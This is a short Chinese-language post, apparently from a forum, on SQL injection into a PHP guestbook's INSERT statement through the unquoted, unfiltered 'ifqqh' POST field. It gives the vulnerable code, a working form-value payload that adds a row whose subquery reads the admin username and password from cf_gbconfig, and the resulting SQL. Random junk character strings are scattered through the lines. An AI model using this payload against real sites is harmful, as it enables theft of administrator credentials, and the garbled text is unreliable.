留言本注入。拿到帐号密码。前提知道程序源代码。在insert里面。构造了另外一句SQL。并且把帐号密码读出来。3 ?" b# U" w* w- \
4 w/ a% ?4 e# L, n, Y- I$ifqqh=$_POST["ifqqh"];没有过滤。。。。。。。
5 D( C6 W/ B+ o: b$sql=”insert into “.TABLE_PREFIX.”guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘”.$username.”‘,’”.$email.”‘,’”.$content.”‘,’”.$userip.”‘,’”.$systime.”‘,”.$ifshow.”,”.$ifqqh.”)”;$ifqqh没有用 ‘ 来包含。不受magic_quotes_gpc影响
2 Z5 G: @/ G* K. u" X
3 _& s& y1 H; d# a# e# p7 M* I- l提交的时候把ifqqh的值改一下。变成
w* G7 F4 ^6 M; L1 F5 e
, F, A8 d5 M1 D7 `) o( ^8 W* d& z<input type=”text” id=”ifqqh” name=”ifqqh” value=”1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,1,1,0″ />+ ^3 z. U9 U3 ]+ C( a
/ [! F; x& J& x* _# b' x
这样SQL插入语句就变了.
- D5 Y" v3 Y& t- ^0 {4 }( m9 P5 @6 n' L
insert into cf_guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘qqq’,”,’msgmsg’,’127.0.0.1′,’2012-12-22 19:07:23′,1,1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,now(),1,0)
" R# a. ~2 K1 _: u
. Z5 P" m0 A) M: c7 T/ a" @* @1 D构造了另外一句SQL。并且把帐号密码读出来。( Y8 s3 ? n6 Q& G) v+ E$ G# X$ Z
& q& m( L/ f S% m& | |